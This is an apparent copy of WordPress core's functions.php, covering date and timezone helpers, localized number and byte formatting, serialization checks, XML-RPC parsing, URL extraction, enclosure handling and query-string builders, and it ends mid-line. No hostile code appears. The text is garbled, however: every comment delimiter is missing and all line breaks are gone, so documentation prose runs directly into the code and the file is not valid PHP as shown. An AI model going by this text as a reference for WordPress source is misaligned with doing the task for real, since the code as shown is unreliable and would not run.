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<?php /* * * Main WordPress API * * @package WordPress require ABSPATH . WPINC . '/option.php'; * * Converts given MySQL date string into a different format. * * - `$format` should be a PHP date format string. * - 'U' and 'G' formats will return an integer sum of timestamp with timezone offset. * - `$date` is expected to be local time in MySQL format (`Y-m-d H:i:s`). * * Historically UTC time could be passed to the function to produce Unix timestamp. * * If `$translate` is true then the given date and format string will * be passed to `wp_date()` for translation. * * @since 0.71 * * @param string $format Format of the date to return. * @param string $date Date string to convert. * @param bool $translate Whether the return date should be translated. Default true. * @return string|int|false Integer if `$format` is 'U' or 'G', string otherwise. * False on failure. function mysql2date( $format, $date, $translate = true ) { if ( empty( $date ) ) { return false; } $timezone = wp_timezone(); $datetime = date_create( $date, $timezone ); if ( false === $datetime ) { return false; } Returns a sum of timestamp with timezone offset. Ideally should never be used. if ( 'G' === $format || 'U' === $format ) { return $datetime->getTimestamp() + $datetime->getOffset(); } if ( $translate ) { return wp_date( $format, $datetime->getTimestamp(), $timezone ); } return $datetime->format( $format ); } * * Retrieves the current time based on specified type. * * - The 'mysql' type will return the time in the format for MySQL DATETIME field. * - The 'timestamp' or 'U' types will return the current timestamp or a sum of timestamp * and timezone offset, depending on `$gmt`. * - Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d'). * * If `$gmt` is a truthy value then both types will use GMT time, otherwise the * output is adjusted with the GMT offset for the site. * * @since 1.0.0 * @since 5.3.0 Now returns an integer if `$type` is 'U'. Previously a string was returned. * * @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', 'U', * or PHP date format string (e.g. 'Y-m-d'). * @param int|bool $gmt Optional. Whether to use GMT timezone. Default false. * @return int|string Integer if `$type` is 'timestamp' or 'U', string otherwise. function current_time( $type, $gmt = 0 ) { Don't use non-GMT timestamp, unless you know the difference and really need to. if ( 'timestamp' === $type || 'U' === $type ) { return $gmt ? time() : time() + (int) ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ); } if ( 'mysql' === $type ) { $type = 'Y-m-d H:i:s'; } $timezone = $gmt ? new DateTimeZone( 'UTC' ) : wp_timezone(); $datetime = new DateTime( 'now', $timezone ); return $datetime->format( $type ); } * * Retrieves the current time as an object using the site's timezone. * * @since 5.3.0 * * @return DateTimeImmutable Date and time object. function current_datetime() { return new DateTimeImmutable( 'now', wp_timezone() ); } * * Retrieves the timezone of the site as a string. * * Uses the `timezone_string` option to get a proper timezone name if available, * otherwise falls back to a manual UTC ± offset. * * Example return values: * * - 'Europe/Rome' * - 'America/North_Dakota/New_Salem' * - 'UTC' * - '-06:30' * - '+00:00' * - '+08:45' * * @since 5.3.0 * * @return string PHP timezone name or a ±HH:MM offset. function wp_timezone_string() { $timezone_string = get_option( 'timezone_string' ); if ( $timezone_string ) { return $timezone_string; } $offset = (float) get_option( 'gmt_offset' ); $hours = (int) $offset; $minutes = ( $offset - $hours ); $sign = ( $offset < 0 ) ? '-' : '+'; $abs_hour = abs( $hours ); $abs_mins = abs( $minutes * 60 ); $tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins ); return $tz_offset; } * * Retrieves the timezone of the site as a `DateTimeZone` object. * * Timezone can be based on a PHP timezone string or a ±HH:MM offset. * * @since 5.3.0 * * @return DateTimeZone Timezone object. function wp_timezone() { return new DateTimeZone( wp_timezone_string() ); } * * Retrieves the date in localized format, based on a sum of Unix timestamp and * timezone offset in seconds. * * If the locale specifies the locale month and weekday, then the locale will * take over the format for the date. If it isn't, then the date format string * will be used instead. * * Note that due to the way WP typically generates a sum of timestamp and offset * with `strtotime()`, it implies offset added at a _current_ time, not at the time * the timestamp represents. Storing such timestamps or calculating them differently * will lead to invalid output. * * @since 0.71 * @since 5.3.0 Converted into a wrapper for wp_date(). * * @param string $format Format to display the date. * @param int|bool $timestamp_with_offset Optional. A sum of Unix timestamp and timezone offset * in seconds. Default false. * @param bool $gmt Optional. Whether to use GMT timezone. Only applies * if timestamp is not provided. Default false. * @return string The date, translated if locale specifies it. function date_i18n( $format, $timestamp_with_offset = false, $gmt = false ) { $timestamp = $timestamp_with_offset; If timestamp is omitted it should be current time (summed with offset, unless `$gmt` is true). if ( ! is_numeric( $timestamp ) ) { phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested $timestamp = current_time( 'timestamp', $gmt ); } * This is a legacy implementation quirk that the returned timestamp is also with offset. * Ideally this function should never be used to produce a timestamp. if ( 'U' === $format ) { $date = $timestamp; } elseif ( $gmt && false === $timestamp_with_offset ) { Current time in UTC. $date = wp_date( $format, null, new DateTimeZone( 'UTC' ) ); } elseif ( false === $timestamp_with_offset ) { Current time in site's timezone. $date = wp_date( $format ); } else { * Timestamp with offset is typically produced by a UTC `strtotime()` call on an input without timezone. * This is the best attempt to reverse that operation into a local time to use. $local_time = gmdate( 'Y-m-d H:i:s', $timestamp ); $timezone = wp_timezone(); $datetime = date_create( $local_time, $timezone ); $date = wp_date( $format, $datetime->getTimestamp(), $timezone ); } * * Filters the date formatted based on the locale. * * @since 2.8.0 * * @param string $date Formatted date string. * @param string $format Format to display the date. * @param int $timestamp A sum of Unix timestamp and timezone offset in seconds. * Might be without offset if input omitted timestamp but requested GMT. * @param bool $gmt Whether to use GMT timezone. Only applies if timestamp was not provided. * Default false. $date = apply_filters( 'date_i18n', $date, $format, $timestamp, $gmt ); return $date; } * * Retrieves the date, in localized format. * * This is a newer function, intended to replace `date_i18n()` without legacy quirks in it. * * Note that, unlike `date_i18n()`, this function accepts a true Unix timestamp, not summed * with timezone offset. * * @since 5.3.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $format PHP date format. * @param int $timestamp Optional. Unix timestamp. Defaults to current time. * @param DateTimeZone $timezone Optional. Timezone to output result in. Defaults to timezone * from site settings. * @return string|false The date, translated if locale specifies it. False on invalid timestamp input. function wp_date( $format, $timestamp = null, $timezone = null ) { global $wp_locale; if ( null === $timestamp ) { $timestamp = time(); } elseif ( ! is_numeric( $timestamp ) ) { return false; } if ( ! $timezone ) { $timezone = wp_timezone(); } $datetime = date_create( '@' . $timestamp ); $datetime->setTimezone( $timezone ); if ( empty( $wp_locale->month ) || empty( $wp_locale->weekday ) ) { $date = $datetime->format( $format ); } else { We need to unpack shorthand `r` format because it has parts that might be localized. $format = preg_replace( '/(?<!\\\\)r/', DATE_RFC2822, $format ); $new_format = ''; $format_length = strlen( $format ); $month = $wp_locale->get_month( $datetime->format( 'm' ) ); $weekday = $wp_locale->get_weekday( $datetime->format( 'w' ) ); for ( $i = 0; $i < $format_length; $i++ ) { switch ( $format[ $i ] ) { case 'D': $new_format .= addcslashes( $wp_locale->get_weekday_abbrev( $weekday ), '\\A..Za..z' ); break; case 'F': $new_format .= addcslashes( $month, '\\A..Za..z' ); break; case 'l': $new_format .= addcslashes( $weekday, '\\A..Za..z' ); break; case 'M': $new_format .= addcslashes( $wp_locale->get_month_abbrev( $month ), '\\A..Za..z' ); break; case 'a': $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'a' ) ), '\\A..Za..z' ); break; case 'A': $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'A' ) ), '\\A..Za..z' ); break; case '\\': $new_format .= $format[ $i ]; If character follows a slash, we add it without translating. if ( $i < $format_length ) { $new_format .= $format[ ++$i ]; } break; default: $new_format .= $format[ $i ]; break; } } $date = $datetime->format( $new_format ); $date = wp_maybe_decline_date( $date, $format ); } * * Filters the date formatted based on the locale. * * @since 5.3.0 * * @param string $date Formatted date string. * @param string $format Format to display the date. * @param int $timestamp Unix timestamp. * @param DateTimeZone $timezone Timezone. $date = apply_filters( 'wp_date', $date, $format, $timestamp, $timezone ); return $date; } * * Determines if the date should be declined. * * If the locale specifies that month names require a genitive case in certain * formats (like 'j F Y'), the month name will be replaced with a correct form. * * @since 4.4.0 * @since 5.4.0 The `$format` parameter was added. * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $date Formatted date string. * @param string $format Optional. Date format to check. Default empty string. * @return string The date, declined if locale specifies it. function wp_maybe_decline_date( $date, $format = '' ) { global $wp_locale; i18n functions are not available in SHORTINIT mode. if ( ! function_exists( '_x' ) ) { return $date; } * translators: If months in your language require a genitive case, * translate this to 'on'. Do not translate into your own language. if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) { $months = $wp_locale->month; $months_genitive = $wp_locale->month_genitive; * Match a format like 'j F Y' or 'j. F' (day of the month, followed by month name) * and decline the month. if ( $format ) { $decline = preg_match( '#[dj]\.? F#', $format ); } else { If the format is not passed, try to guess it from the date string. $decline = preg_match( '#\b\d{1,2}\.? [^\d ]+\b#u', $date ); } if ( $decline ) { foreach ( $months as $key => $month ) { $months[ $key ] = '# ' . preg_quote( $month, '#' ) . '\b#u'; } foreach ( $months_genitive as $key => $month ) { $months_genitive[ $key ] = ' ' . $month; } $date = preg_replace( $months, $months_genitive, $date ); } * Match a format like 'F jS' or 'F j' (month name, followed by day with an optional ordinal suffix) * and change it to declined 'j F'. if ( $format ) { $decline = preg_match( '#F [dj]#', $format ); } else { If the format is not passed, try to guess it from the date string. $decline = preg_match( '#\b[^\d ]+ \d{1,2}(st|nd|rd|th)?\b#u', trim( $date ) ); } if ( $decline ) { foreach ( $months as $key => $month ) { $months[ $key ] = '#\b' . preg_quote( $month, '#' ) . ' (\d{1,2})(st|nd|rd|th)?([-–]\d{1,2})?(st|nd|rd|th)?\b#u'; } foreach ( $months_genitive as $key => $month ) { $months_genitive[ $key ] = '$1$3 ' . $month; } $date = preg_replace( $months, $months_genitive, $date ); } } Used for locale-specific rules. $locale = get_locale(); if ( 'ca' === $locale ) { " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..." $date = preg_replace( '# de ([ao])#i', " d'\\1", $date ); } return $date; } * * Converts float number to format based on the locale. * * @since 2.3.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param float $number The number to convert based on locale. * @param int $decimals Optional. Precision of the number of decimal places. Default 0. * @return string Converted number in string format. function number_format_i18n( $number, $decimals = 0 ) { global $wp_locale; if ( isset( $wp_locale ) ) { $formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] ); } else { $formatted = number_format( $number, absint( $decimals ) ); } * * Filters the number formatted based on the locale. * * @since 2.8.0 * @since 4.9.0 The `$number` and `$decimals` parameters were added. * * @param string $formatted Converted number in string format. * @param float $number The number to convert based on locale. * @param int $decimals Precision of the number of decimal places. return apply_filters( 'number_format_i18n', $formatted, $number, $decimals ); } * * Converts a number of bytes to the largest unit the bytes will fit into. * * It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts * number of bytes to human readable number by taking the number of that unit * that the bytes will go into it. Supports YB value. * * Please note that integers in PHP are limited to 32 bits, unless they are on * 64 bit architecture, then they have 64 bit size. If you need to place the * larger size then what PHP integer type will hold, then use a string. It will * be converted to a double, which should always have 64 bit length. * * Technically the correct unit names for powers of 1024 are KiB, MiB etc. * * @since 2.3.0 * @since 6.0.0 Support for PB, EB, ZB, and YB was added. * * @param int|string $bytes Number of bytes. Note max integer size for integers. * @param int $decimals Optional. Precision of number of decimal places. Default 0. * @return string|false Number string on success, false on failure. function size_format( $bytes, $decimals = 0 ) { $quant = array( translators: Unit symbol for yottabyte. _x( 'YB', 'unit symbol' ) => YB_IN_BYTES, translators: Unit symbol for zettabyte. _x( 'ZB', 'unit symbol' ) => ZB_IN_BYTES, translators: Unit symbol for exabyte. _x( 'EB', 'unit symbol' ) => EB_IN_BYTES, translators: Unit symbol for petabyte. _x( 'PB', 'unit symbol' ) => PB_IN_BYTES, translators: Unit symbol for terabyte. _x( 'TB', 'unit symbol' ) => TB_IN_BYTES, translators: Unit symbol for gigabyte. _x( 'GB', 'unit symbol' ) => GB_IN_BYTES, translators: Unit symbol for megabyte. _x( 'MB', 'unit symbol' ) => MB_IN_BYTES, translators: Unit symbol for kilobyte. _x( 'KB', 'unit symbol' ) => KB_IN_BYTES, translators: Unit symbol for byte. _x( 'B', 'unit symbol' ) => 1, ); if ( 0 === $bytes ) { translators: Unit symbol for byte. return number_format_i18n( 0, $decimals ) . ' ' . _x( 'B', 'unit symbol' ); } foreach ( $quant as $unit => $mag ) { if ( (float) $bytes >= $mag ) { return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit; } } return false; } * * Converts a duration to human readable format. * * @since 5.1.0 * * @param string $duration Duration will be in string format (HH:ii:ss) OR (ii:ss), * with a possible prepended negative sign (-). * @return string|false A human readable duration string, false on failure. function human_readable_duration( $duration = '' ) { if ( ( empty( $duration ) || ! is_string( $duration ) ) ) { return false; } $duration = trim( $duration ); Remove prepended negative sign. if ( str_starts_with( $duration, '-' ) ) { $duration = substr( $duration, 1 ); } Extract duration parts. $duration_parts = array_reverse( explode( ':', $duration ) ); $duration_count = count( $duration_parts ); $hour = null; $minute = null; $second = null; if ( 3 === $duration_count ) { Validate HH:ii:ss duration format. if ( ! ( (bool) preg_match( '/^([0-9]+):([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) { return false; } Three parts: hours, minutes & seconds. list( $second, $minute, $hour ) = $duration_parts; } elseif ( 2 === $duration_count ) { Validate ii:ss duration format. if ( ! ( (bool) preg_match( '/^([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) { return false; } Two parts: minutes & seconds. list( $second, $minute ) = $duration_parts; } else { return false; } $human_readable_duration = array(); Add the hour part to the string. if ( is_numeric( $hour ) ) { translators: %s: Time duration in hour or hours. $human_readable_duration[] = sprintf( _n( '%s hour', '%s hours', $hour ), (int) $hour ); } Add the minute part to the string. if ( is_numeric( $minute ) ) { translators: %s: Time duration in minute or minutes. $human_readable_duration[] = sprintf( _n( '%s minute', '%s minutes', $minute ), (int) $minute ); } Add the second part to the string. if ( is_numeric( $second ) ) { translators: %s: Time duration in second or seconds. $human_readable_duration[] = sprintf( _n( '%s second', '%s seconds', $second ), (int) $second ); } return implode( ', ', $human_readable_duration ); } * * Gets the week start and end from the datetime or date string from MySQL. * * @since 0.71 * * @param string $mysqlstring Date or datetime field type from MySQL. * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string. * @return int[] { * Week start and end dates as Unix timestamps. * * @type int $start The week start date as a Unix timestamp. * @type int $end The week end date as a Unix timestamp. * } function get_weekstartend( $mysqlstring, $start_of_week = '' ) { MySQL string year. $my = substr( $mysqlstring, 0, 4 ); MySQL string month. $mm = substr( $mysqlstring, 8, 2 ); MySQL string day. $md = substr( $mysqlstring, 5, 2 ); The timestamp for MySQL string day. $day = mktime( 0, 0, 0, $md, $mm, $my ); The day of the week from the timestamp. $weekday = gmdate( 'w', $day ); if ( ! is_numeric( $start_of_week ) ) { $start_of_week = get_option( 'start_of_week' ); } if ( $weekday < $start_of_week ) { $weekday += 7; } The most recent week start day on or before $day. $start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week ); $start + 1 week - 1 second. $end = $start + WEEK_IN_SECONDS - 1; return compact( 'start', 'end' ); } * * Serializes data, if needed. * * @since 2.0.5 * * @param string|array|object $data Data that might be serialized. * @return mixed A scalar data. function maybe_serialize( $data ) { if ( is_array( $data ) || is_object( $data ) ) { return serialize( $data ); } * Double serialization is required for backward compatibility. * See https:core.trac.wordpress.org/ticket/12930 * Also the world will end. See WP 3.6.1. if ( is_serialized( $data, false ) ) { return serialize( $data ); } return $data; } * * Unserializes data only if it was serialized. * * @since 2.0.0 * * @param string $data Data that might be unserialized. * @return mixed Unserialized data can be any type. function maybe_unserialize( $data ) { if ( is_serialized( $data ) ) { Don't attempt to unserialize data that wasn't serialized going in. return @unserialize( trim( $data ) ); } return $data; } * * Checks value to find if it was serialized. * * If $data is not a string, then returned value will always be false. * Serialized data is always a string. * * @since 2.0.5 * @since 6.1.0 Added Enum support. * * @param string $data Value to check to see if was serialized. * @param bool $strict Optional. Whether to be strict about the end of the string. Default true. * @return bool False if not serialized and true if it was. function is_serialized( $data, $strict = true ) { If it isn't a string, it isn't serialized. if ( ! is_string( $data ) ) { return false; } $data = trim( $data ); if ( 'N;' === $data ) { return true; } if ( strlen( $data ) < 4 ) { return false; } if ( ':' !== $data[1] ) { return false; } if ( $strict ) { $lastc = substr( $data, -1 ); if ( ';' !== $lastc && '}' !== $lastc ) { return false; } } else { $semicolon = strpos( $data, ';' ); $brace = strpos( $data, '}' ); Either ; or } must exist. if ( false === $semicolon && false === $brace ) { return false; } But neither must be in the first X characters. if ( false !== $semicolon && $semicolon < 3 ) { return false; } if ( false !== $brace && $brace < 4 ) { return false; } } $token = $data[0]; switch ( $token ) { case 's': if ( $strict ) { if ( '"' !== substr( $data, -2, 1 ) ) { return false; } } elseif ( ! str_contains( $data, '"' ) ) { return false; } Or else fall through. case 'a': case 'O': case 'E': return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b': case 'i': case 'd': $end = $strict ? '$' : ''; return (bool) preg_match( "/^{$token}:[0-9.E+-]+;$end/", $data ); } return false; } * * Checks whether serialized data is of string type. * * @since 2.0.5 * * @param string $data Serialized data. * @return bool False if not a serialized string, true if it is. function is_serialized_string( $data ) { if it isn't a string, it isn't a serialized string. if ( ! is_string( $data ) ) { return false; } $data = trim( $data ); if ( strlen( $data ) < 4 ) { return false; } elseif ( ':' !== $data[1] ) { return false; } elseif ( ! str_ends_with( $data, ';' ) ) { return false; } elseif ( 's' !== $data[0] ) { return false; } elseif ( '"' !== substr( $data, -2, 1 ) ) { return false; } else { return true; } } * * Retrieves post title from XMLRPC XML. * * If the title element is not part of the XML, then the default post title from * the $post_default_title will be used instead. * * @since 0.71 * * @global string $post_default_title Default XML-RPC post title. * * @param string $content XMLRPC XML Request content * @return string Post title function xmlrpc_getposttitle( $content ) { global $post_default_title; if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) { $post_title = $matchtitle[1]; } else { $post_title = $post_default_title; } return $post_title; } * * Retrieves the post category or categories from XMLRPC XML. * * If the category element is not found, then the default post category will be * used. The return type then would be what $post_default_category. If the * category is found, then it will always be an array. * * @since 0.71 * * @global string $post_default_category Default XML-RPC post category. * * @param string $content XMLRPC XML Request content * @return string|array List of categories or category name. function xmlrpc_getpostcategory( $content ) { global $post_default_category; if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) { $post_category = trim( $matchcat[1], ',' ); $post_category = explode( ',', $post_category ); } else { $post_category = $post_default_category; } return $post_category; } * * XMLRPC XML content without title and category elements. * * @since 0.71 * * @param string $content XML-RPC XML Request content. * @return string XMLRPC XML Request content without title and category elements. function xmlrpc_removepostdata( $content ) { $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content ); $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content ); $content = trim( $content ); return $content; } * * Uses RegEx to extract URLs from arbitrary content. * * @since 3.7.0 * @since 6.0.0 Fixes support for HTML entities (Trac 30580). * * @param string $content Content to extract URLs from. * @return string[] Array of URLs found in passed string. function wp_extract_urls( $content ) { preg_match_all( "#([\"']?)(" . '(?:([\w-]+:)??)' . '[^\s()<>]+' . '[.]' . '(?:' . '\([\w\d]+\)|' . '(?:' . "[^`!()\[\]{}:'\".,<>«»“”‘’\s]|" . '(?:[:]\d+)?/?' . ')+' . ')' . ")\\1#", $content, $post_links ); $post_links = array_unique( array_map( static function ( $link ) { Decode to replace valid entities, like &. $link = html_entity_decode( $link ); Maintain backward compatibility by removing extraneous semi-colons (`;`). return str_replace( ';', '', $link ); }, $post_links[2] ) ); return array_values( $post_links ); } * * Checks content for video and audio links to add as enclosures. * * Will not add enclosures that have already been added and will * remove enclosures that are no longer in the post. This is called as * pingbacks and trackbacks. * * @since 1.5.0 * @since 5.3.0 The `$content` parameter was made optional, and the `$post` parameter was * updated to accept a post ID or a WP_Post object. * @since 5.6.0 The `$content` parameter is no longer optional, but passing `null` to skip it * is still supported. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|null $content Post content. If `null`, the `post_content` field from `$post` is used. * @param int|WP_Post $post Post ID or post object. * @return void|false Void on success, false if the post is not found. function do_enclose( $content, $post ) { global $wpdb; @todo Tidy this code and make the debug code optional. require_once ABSPATH . WPINC . '/class-IXR.php'; $post = get_post( $post ); if ( ! $post ) { return false; } if ( null === $content ) { $content = $post->post_content; } $post_links = array(); $pung = get_enclosed( $post->ID ); $post_links_temp = wp_extract_urls( $content ); foreach ( $pung as $link_test ) { Link is no longer in post. if ( ! in_array( $link_test, $post_links_temp, true ) ) { $mids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $link_test ) . '%' ) ); foreach ( $mids as $mid ) { delete_metadata_by_mid( 'post', $mid ); } } } foreach ( (array) $post_links_temp as $link_test ) { If we haven't pung it already. if ( ! in_array( $link_test, $pung, true ) ) { $test = parse_url( $link_test ); if ( false === $test ) { continue; } if ( isset( $test['query'] ) ) { $post_links[] = $link_test; } elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) { $post_links[] = $link_test; } } } * * Filters the list of enclosure links before querying the database. * * Allows for the addition and/or removal of potential enclosures to save * to postmeta before checking the database for existing enclosures. * * @since 4.4.0 * * @param string[] $post_links An array of enclosure links. * @param int $post_id Post ID. $post_links = apply_filters( 'enclosure_links', $post_links, $post->ID ); foreach ( (array) $post_links as $url ) { $url = strip_fragment_from_url( $url ); if ( '' !== $url && ! $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $url ) . '%' ) ) ) { $headers = wp_get_http_headers( $url ); if ( $headers ) { $len = isset( $headers['Content-Length'] ) ? (int) $headers['Content-Length'] : 0; $type = isset( $headers['Content-Type'] ) ? $headers['Content-Type'] : ''; $allowed_types = array( 'video', 'audio' ); Check to see if we can figure out the mime type from the extension. $url_parts = parse_url( $url ); if ( false !== $url_parts && ! empty( $url_parts['path'] ) ) { $extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION ); if ( ! empty( $extension ) ) { foreach ( wp_get_mime_types() as $exts => $mime ) { if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) { $type = $mime; break; } } } } if ( in_array( substr( $type, 0, strpos( $type, '/' ) ), $allowed_types, true ) ) { add_post_meta( $post->ID, 'enclosure', "$url\n$len\n$mime\n" ); } } } } } * * Retrieves HTTP Headers from URL. * * @since 1.5.1 * * @param string $url URL to retrieve HTTP headers from. * @param bool $deprecated Not Used. * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure. function wp_get_http_headers( $url, $deprecated = false ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.7.0' ); } $response = wp_safe_remote_head( $url ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_headers( $response ); } * * Determines whether the publish date of the current post in the loop is different * from the publish date of the previous post in the loop. * * For more information on this and similar theme functions, check out * the {@link https:developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 0.71 * * @global string $currentday The day of the current post in the loop. * @global string $previousday The day of the previous post in the loop. * * @return int 1 when new day, 0 if not a new day. function is_new_day() { global $currentday, $previousday; if ( $currentday !== $previousday ) { return 1; } else { return 0; } } * * Builds URL query based on an associative and, or indexed array. * * This is a convenient function for easily building url queries. It sets the * separator to '&' and uses _http_build_query() function. * * @since 2.3.0 * * @see _http_build_query() Used to build the query * @link https:www.php.net/manual/en/function.http-build-query.php for more on what * http_build_query() does. * * @param array $data URL-encode key/value pairs. * @return string URL-encoded string. function build_query( $data ) { return _http_build_query( $data, null, '&', '', false ); } * * From php.net (modified by Mark Jaquith to behave like the native PHP5 function). * * @since 3.2.0 * @access private * * @see https:www.php.net/manual/en/function.http-build-query.php * * @param array|object $data An array or object of data. Converted to array. * @param string $prefix Optional. Numeric index. If set, start parameter numbering with it. * Default null. * @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'. * Default null. * @param string $key Optional. Used to prefix key name. Default empty string. * @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true. * @return string The query string. function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) { $ret = array(); foreach ( (array) $data as $k => $v ) { if ( $urlencode ) { $k = urlencode( $k ); } if ( is_int( $k ) && null !== $prefix ) { $k = $prefix . $k; } if ( ! empty( $key ) ) { $k = $key . '%5B' . $k . '%5D'; } if ( null === $v ) { continue; } elseif ( false === $v ) { $v = '0'; } if ( is_array( $v ) || is_object( $v ) ) { array_push( $ret, _http_build_query( $v, '', $sep, $k, $urlencode ) ); } elseif ( $urlencode ) { array_push( $ret, $k . '=' . urlencode( $v ) ); } else { array_push( $ret, $k . '=' . $v ); } } if ( null === $sep ) { $sep = ini_get( 'arg_separator.output' ); } return implode( $sep, $ret ); } * * Retrieves a modified URL query string. * * You can rebuild the URL and append query variables to the URL query by using this function. * There are two ways to use this function; either a single key and value, or an associative array. * * Using a single key and value: * * add_query_arg( 'key', 'value', 'http:example.com' ); * * Using an associative array: * * add_query_arg( array( * 'key1' => 'value1', * 'key2' => 'value2', * ), 'http:example.com' ); * * Omitting the URL from either use results in the current URL being used * (the value of `$_SERVER['REQUEST_URI']`). * * Values are expected to be encoded appropriately with urlencode() or rawurlencode(). * * Setting any query variable's value to boolean false removes the key (see remove_query_arg()). * * Important: The return value of add_query_arg() is not escaped by default. Output should be * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting * (XSS) attacks. * * @since 1.5.0 * @since 5.3.0 Formalized the existing and already documented parameters * by adding `...$args` to the function signature. * * @param string|array $key Either a query variable key, or an associative array of query variables. * @param string $value Optional. Either a query variable value, or a URL to act upon. * @param string $url Optional. A URL to act upon. * @return string New URL query string (unescaped). function add_query_arg( ...$args ) { if ( is_array( $args[0] ) ) { if ( count( $args ) < 2 || false === $args[1] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[1]; } } else { if ( count( $args ) < 3 || false === $args[2] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[2]; } } $frag = strstr( $uri, '#' ); if ( $frag ) { $uri = substr( $uri, 0, -strlen( $frag ) ); } else { $frag = ''; } if ( 0 === stripos( $uri, 'http:' ) ) { $protocol = 'http:'; $uri = substr( $uri, 7 ); } elseif ( 0 === stripos( $uri, 'https:' ) ) { $protocol = 'https:'; $uri = substr( $uri, 8 ); } else { $protocol = ''; } if ( str_contains( $uri, '?' ) ) { list( $base, $query ) = explode( '?', $uri, 2 ); $base .= '?'; } elseif ( $protocol || ! str_contains( $uri, '=' ) ) { $base = $uri . '?'; $query = ''; } else { $base = ''; $query = $uri; } wp_parse_str( $query, $qs ); $qs = urlencode_deep( $qs ); This re-URL-encodes things that were already in the query string. if ( is_array( $args[0] ) ) { foreach ( $args[0] as $k => $v ) { $qs[ $k ] = $v; } } else { $qs[ $args[0] ] = $args[1]; } foreach ( $qs as $k => $v ) { if ( false === $v ) { unset( $qs[ $k ] ); } } $ret = build_query( $qs ); $ret = trim( $ret, '?' ); $ret = preg_replace( '#=(&|$)#', '$1', $ret ); $ret = $protocol . $base . $ret . $frag; $ret = rtrim( $ret, '?' ); $ret = str_replace( '?#', '#', $ret ); return $ret; } * * Removes an item or items from a query string. * * Important: The return value of remove_query_arg() is not escaped by default. Output should be * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting * (XSS) attacks. * * @since 1.5.0 * * @param string|string[] $key Query key or keys to remove. * @param false|string $query Optional. When false uses the current URL. Default false. * @return string New URL query string. function remove_query_arg( $key, $query = false ) { if ( is_array( $key ) ) { Removing multiple keys. foreach ( $key as $k ) { $query = add_query_arg( $k, false, $query ); } return $query; } return add_query_arg( $key, false, $query ); } * * Returns an array of single-use query variable names that can be removed from a URL. * * @since 4.4.0 * * @return string[] An array of query variable names to remove from the URL. function wp_removable_query_args() { $removable_query_args = array( 'activate', 'activated', 'admin_email_remind_later', 'approved', 'core-major-auto-updates-saved', 'deactivate', 'delete_count', 'deleted', 'disabled', 'doing_wp_cron', 'enabled', 'error', 'hotkeys_highlight_first', 'hotkeys_highlight_last', 'ids', 'locked', 'message', 'same', 'saved', 'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed', 'untrashed', 'update', 'updated', 'wp-post-new-reload', ); * * Filters the list of query variable names to remove. * * @since 4.2.0 * * @param string[] $removable_query_args An array of query variable names to remove from a URL. return apply_filters( 'removable_query_args', $removable_query_args ); } * * Walks the array while sanitizing the contents. * * @since 0.71 * @since 5.5.0 Non-string values are left untouched. * * @param array $input_array Array to walk while sanitizing contents. * @return array Sanitized $input_array. function add_magic_quotes( $input_array ) { foreach ( (array) $input_array as $k => $v ) { if ( is_array( $v ) ) { $input_array[ $k ] = add_magic_quotes( $v ); } elseif ( is_string( $v ) ) { $input_array[ $k ] = addslashes( $v ); } } return $input_array; } * * HTTP request for URI to retrieve content. * * @since 1.5.1 * * @see wp_safe_remote_get() * * @param string $uri URI/URL of web page to retrieve. * @return string|false HTTP content. False on failure. function wp_remote_fopen( $uri ) { $parsed_url = parse_url( $uri ); if ( ! $parsed_url || ! is_array( $parsed_url ) ) { return false; } $options = array(); $options['timeout'] = 10; $response = wp_safe_remote_get( $uri, $options ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_body( $response ); } * * Sets up the WordPress query. * * @since 2.0.0 * * @global WP $wp Current WordPress environment instance. * @global WP_Query $wp_query WordPress Query object. * @global WP_Query $wp_the_query Copy of the WordPress Query object. * * @param string|array $query_vars Default WP_Query arguments. function wp( $query_vars = '' ) { global 